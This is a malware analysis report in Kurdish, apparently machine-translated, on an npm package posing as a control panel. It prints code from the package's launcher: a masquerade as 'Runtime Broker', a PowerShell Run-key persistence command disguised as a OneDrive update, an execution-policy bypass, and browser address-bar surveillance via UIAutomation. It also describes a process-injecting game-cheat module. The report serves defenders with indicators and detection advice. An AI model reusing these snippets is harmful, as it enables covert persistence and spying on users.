TL; DR
Pakêta npm hesasiyet xwe wekî "Paneleke Kontrola Hesasiyetê" bi nav dike. Li ser Windows-ê ew wekî amûrek kontrolkirina ji dûr ve û çavdêriyê tevdigere.
Xala ketina wê, launcher.js, pêvajoya xwe ji nû ve diguherîne Runtime Broker, nirxek mifteya destpêkirina otomatîk a bi navê Run-key dinivîse OneDriveUpdate ku pakêtê bi rêya VBScript-ek veşartî ji nû ve dest pê dike, PowerShell-ê bi -ExecutionPolicy Bypass, û dû re bargiraniyek serverek tarî ya 171 KB ligel modulek xwemalî ya 6.87 MB dinirxîne, sens.node.
Ew panelek kontrolê ya hevberdana têlefonê li ser porta TCP 3000 xizmetê dike û URL-ya barika navnîşanê ya geroka çalak bi rêya Windows UIAutomation dixwîne, û li vîdyoyek YouTube-ê ya kodkirî ya hişk digere.
Du beşên ku berê wekî qutiyên reş dihatin xwendin, niha hatine çareserkirin. Servera şaşbûyî, server.obf.js, şêmayek string-array a obfuscator.io RC4 bikar tîne; ji nû ve bicîhkirina dekoderê wê negirêdayî (JavaScript nayê xebitandin) xalek dawiya derveyî ya yekane vedigerîne — https://izopi.com/check.php - digel mifteyek giştî ya RSA ya çêkirî ku ji bo verastkirina bersivên lîsansa îmzekirî tê bikar anîn.
Modula xwemalî, sens.node, nehatiye pakkirin: tabloya wê ya importkirinê û rêzikên wê yên çandî wê wekî pêvekek di lîstikê de ya DirectX 11 / Dear ImGui destnîşan dikin ku taybetmendiyên aimbot, ESP (wall-hack), û triggerbot peyda dike, ku ji hêla derzîkirina pêvajoya dûr ve û xwendin/nivîsandina bîranînê ve têne rêvebirin.
Têlên di hundurê wê de hebûnên wesayîtan û cihên nexşeyê yên ku bi GTA V / FiveM re lihevhatî ne, nîşan didin. Pakêta npm pêça radestkirin û domdariyê ya li dora wê modula xwemalî ye.
Nîşana diyarker operasyonel e, ne teknîkî ye: weşangerekî nenas bi qasî heftê guhertoyên yek pakêtê derxist - 2.5.0 heya 2.5.69 - di çend rojan de, her yek heman avêjer hilgirtiye.
Sazkirin tune ye hooksBarkêş tenê dema ku pakêt dest pê dike dixebite.
Êrîş: Çawaniya Karê Wê
sensivity deh pelan dişîne. Package.json kêm e: zeviyek depoyê tune, lîsans tune, navekî sereke û du navên din ên bin (sensivity, sens) hemî ber bi launcher.js ve nîşan didin, û skrîptek destpêkirinê ya node launcher.js. Ne piştî sazkirinê û ne jî pêş-sazkirinê heye. Di sazkirina npm de tiştek naxebite. Reftara ku li jêr tê vegotin dema ku bikarhêner pakêtê dest pê dike dixebite - bi rêya shim-a bin, skrîptek destpêkirinê, an require.
Tarballê destpêker, serverek tarî, modulek xwemalî, skrîptek Visual Basic, û pelrêçek public/web ji bo panela kontrolê hildigire. launcher.js orkestratorê xwendî ye; mantiqa ku di dema xebitandinê de girîng e di du blobên ku ew bar dike de dijî - serverek tarî û modulek xwemalî ya berhevkirî, her du jî li jêr têne çareser kirin.
Maskeya pêvajoyê û nûvekirinek OneDrive ya sexte
Di destpêka darvekirinê de launcher.js navê pêvajoya xwe du caran destnîşan dike:
javascript process.title = 'Runtime Broker'; Runtime Broker pêvajoyeke Windows-ê ya rewa ye (RuntimeBroker.exe) ku destûrên sepanan navbeynkariyê dike. Guhertina navekî pêvajoyeke Node da ku li gorî wê be tê vê wateyê ku nihêrînek bilez li Task Manager tiştekî neasayî nîşan nade.
Berdewamî bi rêya PowerShell tê nivîsandin, ne bi rêya API-ya qeydkirinê ya rasterast:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Nirxa destpêkirina otomatîk bi navê OneDriveUpdate ye, û ew rasterast ber bi pakêtê ve nîşan nade. Ew ber bi wscript.exe ve nîşan dide ku OneDrive.Standalone.Updater.vbs-a pakêt dimeşîne. Ew skrîpt node launcher.js di pencereyek veşartî de ji nû ve dest pê dike. Hem navê Run-key û hem jî navê pelê VBScript marqeya Microsoft-ê digirin, ji ber vê yekê têketina destpêkirina otomatîk wekî karekî OneDrive-ê ya rûtîn tê xwendin.
PowerShell bi derbasbûna siyaseta darvekirinê
Launcher bi berdewamî êrîşî PowerShell dike. Sincokê ku skaner wekî krîtîk nîşan dide, destpêkirina pelê .ps1-ê ya çêkirî ye ku polîtîkaya darvekirinê neçalak e:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass kontrolkirina îmzekirina skrîptê ya herêmî ji bo wê vexandinê radike. Skrîptên çêkirî karê çavdêriya gerokê û tespîtkirina pencereyan ku di beşa din de hatine vegotin, bi rê ve dibin.
Servera şaşbûyî û modula xwemalî
Piştî sazkirinê, launcher.js barê xwe yê rastîn bar dike û pêk tîne:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js 171 KB ji obfuscationa _0x-array e - qaliba JavaScript-ê ku her rêz û nasname bi îndeksek di rêzek tevlihevkirî de tê guheztin, dûv re di dema xebitandinê de ji referansê tê derxistin. Nexşe guhertoya RC4 e ku ji hêla obfuscator.io ve hatî hilberandin: fonksiyonek dekoderê ya yekane base64-têketinek rêzê deşîfre dike û dûv re RC4-ê wê bi mifteyek her-gazî deşîfre dike. Ji nû ve bicîhkirina wê dekoderê di skrîptek cuda de - tenê ji nû ve bicîhkirinê li ser rêza rêza 821-têketinê ya derxistî dixebitîne, qet JavaScript-a pakêtê bi xwe - wê bi paqijî vedike. Ya ku rû dide nerm e lê decisive: yek URL-ya derveyî, https://izopi.com/check.php`, ku ji bo sabîteke LICENSE_URL hatiye destnîşankirin; RSA-yeke PUBLIC_KEY_PEM` ya hundirîn; panela herêmî /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, û /trigger/status rê dike; û rêzikên child_process, crypto, û [Sensivity] sens.node yên barkirî ne - ya dawî xeta têketinê ya rast e ku destpêker ji bo modula bernameyê ya barkirî ji nû ve dinivîse. Xala dawî kontrolkirina lîsansê ye: xerîdar nasnameyek dişîne (servera veşartî rêzek ID-ya Discord: %s format dike) û mifteya RSA bersiva îmzekirî ya serverê piştrast dike.
sens.node pêvekek xwemalî ya berhevkirî ya 6.87 MB ye, û ew ne pakkirî ye - entropiya beşê li 5.6–6.6 dimîne û tabloyên import û hinardekirina PE saxlem in, ji ber vê yekê şiyanên wê rasterast têne xwendin. Ew napi_register_module_v1, ya ku standard Xala têketina Node N-API ye, ji ber vê yekê servera nirxandî wê bi pêdiviyek sade bar dike. Tabloya wê ya importê tell e. Ji KERNEL32 ew OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, û Process32First/NextW dikişîne - koma kanonîk ji bo dîtina pêvajoyek din, veqetandina bîranînê di hundurê wê de, û xwendin an nivîsandina wê bîranînê. Ji USER32 ew GetAsyncKeyState, GetKeyState, mouse_event, û SetCursorPos dikişîne; ew d3d11.dll, D3DCOMPILER_43, û dwmapi ji bo pêvekek li ser ekranê, û koma tevahî ya WINHTTP ji bo bangên torê girêdide. Rênên wê yên çandî bê guman navê komek taybetmendiyan destnîşan dikin: Aimbot çalak bike, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, û pankarta Dear ImGui Dear ImGui 1.91.3 WIP. Rênên cih û hebûnê yên wekî Grapeseed Medical Clinic û ferhenga wesayît-ESP bi GTA V / FiveM re lihevhatî ne.
Ev dabeşkirin bi zanebûn e: launcher.js-a xwendî tenê beşên ku skaner bi hêsanî dixwîne hildigire - domdarî, maskarade, û eval-a ku xwe gazî dike - di heman demê de ku tarîbûn yek mêvandarê derveyî têkiliyên dema xebitandinê vedişêre, û binary mantiqa lîstika-serve û derzîkirina pêvajoyê digire. Launcher qalikek zirav û kontrolkirî ye; servera tarîkirî nasnameya torê vedişêre; modula xwemalî barkêş e. Em import û rêzikên binary wekî xwendî diyar dikin; em armanca operator ji wan dernaxin holê.
Panelek kontrolê ya hevberdana telefonê li ser porta 3000
Destpêker serverek webê ya herêmî li ser porta TCP 3000 birêve dibe û wê wekî singletonek bihesibîne. Ew li guhdarvanek heyî dipirse û berî girêdanê wê paqij dike:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panel li http://localhost:3000 peyda dibe, bi URL-ya paşvekişandina LAN-ê ya kodkirî ya hişk a http://192.168.1.16:3000. Pelrêça public/ û tevgera panelê bi herikîna hevberdana QR-ê re lihevhatî ne: têlefonek kodek dixwîne û wekî dûr ve bi mêvandar ve girêdayî dibe. Di destpêkerê de tu domainek ferman û kontrolê ya derveyî bi nivîsa zelal xuya nake - lê, wekî ku deobfuscation-a jorîn nîşan dide, yek di servera veşartî de heye: xala dawî ya lîsansa izopi.com. Panel bi xwe herêmî û bi çarçoveya LAN-ê ye; tenê mêvandara derketinê ew kontrolkirina lîsansê ye.
Modelek çavdêr/karker a cuda pêvajoyê zindî dihêle. Destpêker bi alên jîngehê yên SENSIVITY_SUPERVISOR û SENSIVITY_WORKER xwe ji nû ve çêdike, her zarokek veşartî dixebite, ji ber vê yekê kuştina pêvajoyekê dihêle ku çavdêrek wê ji nû ve bide destpêkirin.
Çavdêriya Gerokê û Sînyala YouTube-ê
Reftarê herî taybet çavdêriya gerokê ye. launcher.js PowerShell ava dike ku Windows UIAutomation dixebitîne da ku barika navnîşanê ya gerokek dixebite bixwîne:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern naveroka nivîsê ya hêmanek UI vedigerîne. Dema ku li ser kontrola sererastkirina navnîşana gerokê tê sepandin, ew URL-ya ku mexdûr niha dibîne vedigerîne - bêyî dirêjkirina gerokê, bêyî ku dest bide profîla li ser dîskê, û bêyî çengelek API. Skrîpta çêkirî navnîşek $browserNames dubare dike û URL an sernavê pencereyê ya her gerokê ku li pêş e derdixe.
Ew URL li hember armancek yekane ya kodkirî tê ceribandin:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Destpêker li ser çerxek sê-çirkeyan ji bo pencereyek gerokê ku YouTube nîşan dide lêpirsîn dike, û PowerShell-a çêkirî cotek Get-YouTubeBrowser / Test-TargetYouTubeUrl hildigire ku bi wê ID-ya vîdyoyê re li hev dike. Bandora çavdêrîkirî duqat e: URL-ya geroka çalak ji ekrana qurbanî tê xwendin, û têkiliya mêvandar bi vîdyoyek taybetî ya YouTube-ê re tê tespît kirin. Em mekanîzmay û hedefê diyar dikin; em ji wan motîfek dernaxin holê.
Xwendina li ser panela navnîşanê ew tişt e ku skaner bi sensitive_data_enumeration nîşan dide — çavkaniyek Process::env û UIAutomation ku demek xebitandinê ya ku dikare torê bikar bîne peyda dike. Ew bi tena serê xwe nebaş xuya dike û tenê dema ku çerxa jiyana daneyan ji çavkaniya UIAutomation heya servera tarî tê şopandin, vediguhere çavdêriyê.
Dem û Pêşveçûna Versiyonan
hesasiyet barkirinek yekcarî nîne. Hesabê weşanger bi qasî heftê guhertoyên vê pakêtê yên yekane yên hatine weşandin hene, û yên nû di dema pencereya nirxandinê de berdewam dihatin. Destpêker li seranserê xeta 2.5.x taybetmendî bi taybetmendî mezin dibe dema ku domdarî û barkirina wê sabît dimîne.
| Dîrok (UTC) | Guhertoyên çavdêrîkirî | Rewşa destpêkerê |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Destpêkerê panela QR-ya bingehîn; Mayîndebûna mifteya xebitandinê; nirxandina servera tarî. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Eynî şopa tiliyê; tepeserkirina şopa konsolê. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Hedefa tevlêbûna YouTube-ê ya pinkirî lê zêde dike wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Ji nû ve weşandina valahiyan li seranserê rêzê; çavdêr/çavdêrê xebatkar. |
Xwendina destpêkerê li seranserê nûnerên dakêşandî - 2.5.0, 2.5.36, û 2.5.69 - çar astan nîşan dide. Avakirinên herî kevin destpêkera bingehîn a hevberdana QR-ê hildigirin. Ji 2.5.33-an pê ve berhevkera barê navnîşanê ya UIAutomation xuya dibe. Ji 2.5.58-an pê ve çînek rêveberiya çavdêr tê zêdekirin. Ji 2.5.64-an pê ve çavdêrê çavdêr/karker ê veqetandî setê temam dike. Di seranserê de, çar tişt qet naguherin: mifteya OneDriveUpdate Run, dakêşana OneDrive.Standalone.Updater.vbs, server.obf.js-a eval'dkirî, û modula xwemalî ya sens.node.
Pêla 2026-06-05 girîng e ji ber ku hejmarên guhertoyên nizm - 2.5.0 heta 2.5.15 - ku di bin guhertoyên ku çend roj berê hatine piştrast kirin de ne, ji nû ve weşand. Bandor xêzek 2.5.x ya domdar li ser qeydê ye, her guhertoyek heman destpêkerê hildigire.
Nîşaneyên lihevhatinê
Hemû nîşaneyên li jêr rasterast ji tarballa pakêtê hatin xwendin. Destpêkera xwendî tenê loopback û navnîşaneke LAN-a taybet hildigire; yekane navê mêvandarê derveyî, izopi.com, bi deobfuscating server.obf.js offline ve hate vegerandin.
| Awa | indicator | Notes |
|---|---|---|
| Pakêt | npm:sensivity (≈70 guhertoyên, 2.5.0-2.5.69) | Weşangerê pakêtek yekane; depoyek tune; bê lîsans. |
| Wêne | launcher.js | Orkestratorê xwendî; hedefa sereke û ya bin. |
| Wêne | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array barkêş, bi rêya eval(fs.readFileSync(...)). |
| Wêne | sens.node (≈6.87 MB) | Pêveka PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Wêne | OneDrive.Standalone.Updater.vbs | Ji nû ve destpêkirina veşartî (node launcher.js). |
| Têkelî | https://izopi.com/check.php | Xala dawî ya lîsans/destûrnameyê ji servera şaşbûyî hat wergirtin; mifteya giştî ya RSA ya çandî bersivan piştrast dike. |
| Zanyarî | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Derzîkirina pêvajoya ji dûr ve û şiyana xwendin/nivîsandina bîranînê. |
| Zanyarî | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Pêveka lîstikê ya DirectX 11 / ImGui taybetmendiyên aimbot, ESP, û triggerbot pêk tîne. |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Nirxa destpêkirina otomatîkî nîşan dide wscript.exe û destpêkera VBScript. |
| Doz | process.title = 'Runtime Broker' | Wekî pêvajoya Windows Runtime Broker a rewa xwe dide nasîn. |
| Behavioral | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Derbasbûna siyaseta darvekirinê ji bo skrîptên PowerShell-ê yên çêkirî tê bikar anîn. |
| Behavioral | UIAutomation ValuePattern xwendina barika navnîşana gerokê | URL-ya pencereya gerokê ya pêşiyê dixwîne. |
| Behavioral | Nasnameya vîdyoya hedef wJWta2lO0Lw; Anketa YouTube-ê ya 3-çirkeyan | Sînyala çavdêriya tevlêbûnê ya pinkirî. |
| Têkelî | http://localhost:3000, vegera paşîn http://192.168.1.16:3000 | Panela kontrolê ya cotkirina QR-ê li herêmî û li ser LAN-ê vekirî ye. |
| Dor | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Alayên hevrêzkirina pêvajoya çavdêriyê yên cuda. |
Wesfkirin, Bandor, û Parêzvan
Pakêt ji hêla yek hesabê npm ve tê weşandin ku navnîşana e-nameya wê ya diyarkirî navnîşanek Gmail-ê ya neverastkirî ye. Hesab xwedî puanek navûdengê qeydê ya pir neyînî ye, tenê vê pakêtê diparêze û diweşîne, û depoyek çavkaniya girêdayî tune. Me xwedîtiya e-nameyê verast nekiriye û em kampanyayê bi hesabê weşanger ve girêdidin, ne bi kesekî bi navkirî. Destpêker binesaziya nivîsa zelal hilnagire, lê yek mêvandarê derveyî niha tê zanîn: servera tarî bi izopi.com re ji bo kontrolkirina lîsansê têkilî datîne, û modula xwemalî - ku ji tabloya importê û rêzikên wê tê xwendin ne ku talîmat-bi-talîmat-berevajî - pêvekek lîstikê ye ku di bîra pêvajoyek din de derzî dike û dixwîne.
Bandora berbiçav li ser bikarhênerên Windows-ê dike ku hesasiyetê saz dikin û dimeşînin û li benda amûrek panela kontrolê ne. Li ser wan mêvandaran pakêt domdariya destpêkirina otomatîkî saz dike ku wekî peywirek OneDrive veşartî ye, xwe ji nû ve diguherîne da ku pêvajoyek pergalê teqlîd bike, URL-ya her tiştê ku bikarhêner lê digere dixwîne, û panelek hevberdanê radike ku makîneyê bi dûr ve li ser tora herêmî girêdide. Çavdêrê çavdêr/karker tê vê wateyê ku kuştina pêvajoyek yekane wê jê nake; têketina Run-key ji nûvekirinan sax dimîne. macOS û Linux ji hêla destpêker ve nayên hedefgirtin - rêyên domdarî, PowerShell, û UIAutomation tenê ji bo Windows-ê ne.
Guherîna heftê guhertoyan trendek e ku hêjayî nîşandanê ye. Di çend rojan de bi dehan caran ji nû ve weşandina pakêtek, tevî dagirtina hejmarên guhertoyên li jêr yên ku berê hatine rakirin, kopiyek zindî di navbera rakirinan de li ser qeydê dihêle û navnîşên astengkirî yên guhertoyên-pênkirî aciz dike. Têketina navnîşa astengkirinê ji bo sensivity@2.5.61 tiştek li dijî sensivity@2.5.3 ku roja din ji nû ve hatî weşandin nake.
Parêzer dikarin li gorî van xalan tevbigerin:
- Hesasiyeta navê pakêtê di navnîşên destûrdayînê yên registry-proxy û CI de bi tevahî asteng bike. Pinkirina guhertoyên takekesî ji rêjeya ji nû ve weşandinê winda dike; nav nîşana domdar e.
- Li nirxek Run bi navê OneDriveUpdate bigere ku daneyên wê wscript.exe li dijî .vbs di rêyek ji bo her bikarhêner de vedixwîne. Nûvekera rastîn a OneDrive bi vî rengî nayê tomar kirin.
- Hişyarî li ser pêvajoyek Node.js ku process.title wê Runtime Broker e. Brokera rastîn RuntimeBroker.exe ye, ne Node runtime ye.
- Fêkiyên npm-ê yên dema sazkirinê yên pakêtên ku pêvekek .node ya berhevkirî û eval(fs.readFileSync(…)) ya pelek .obf.js a xwişk û bira dişînin nîşan bide. Ew hevberkirin - pelê binary yê xwemalî yê nezelal ku li kêleka barkirinek nivîsê ya tarî tê barkirin - li vir vegotina avahîsaziyê ye, serbixwe ji her IOC-ya rêzê.
- Her guhdarvanek bi awayekî herêmî ve girêdayî li ser porta 3000-ê ku ji hêla pêvajoyek Node ya nediyar ve li ser xalên dawî yên Windows-ê yên birêvebirî ve hatî çêkirin wekî gumanbar bihesibîne.
- Daxwazên ji bo izopi.com ji mêvandarên pêşdebir an bikarhênerê dawîn asteng bike an jî hişyar bike; ew tenê xala dawî ya derveyî ya pakêtê ye, ku ji servera tarî di /check.php de tê gihîştin.
- Ji bo her pêveka .node ya pakêtkirî, berî ku hûn baweriya xwe pê bînin, tabloya wê ya importê kontrol bikin. Têkeliya OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread derzîkirina pêvajoyek dûr e bêyî ku pakêt çi îdîa dike; li vir ew li kêleka pêvekek Direct3D û rêzikên aimbot/ESP/triggerbot rûdine.
Ji bo analîza statîk pipelines, şêweya baweriyê li seranserê churn-a guhertoyê domdar e: profîla sazkirinê ya ne-torê, destnîşankirina sernavê pêvajoyê ji bo navekî pêvajoya pergalê ya naskirî, nivîsandina bi kilîteke Run bi rêya PowerShell, û nirxandina pelek ji dîskê hatî xwendin. Yek ji van bi domain, IP, an jî hejmareke guhertoyê ve girêdayî nîne ku ji nû ve weşandina din dikare bizivirîne.
Çavkanî
[npm: hesasiyet] – rûpela qeydê ji bo rêza guhertoya pakêtê ya ku li vir hatî nîqaş kirin; dibe ku were rakirin.
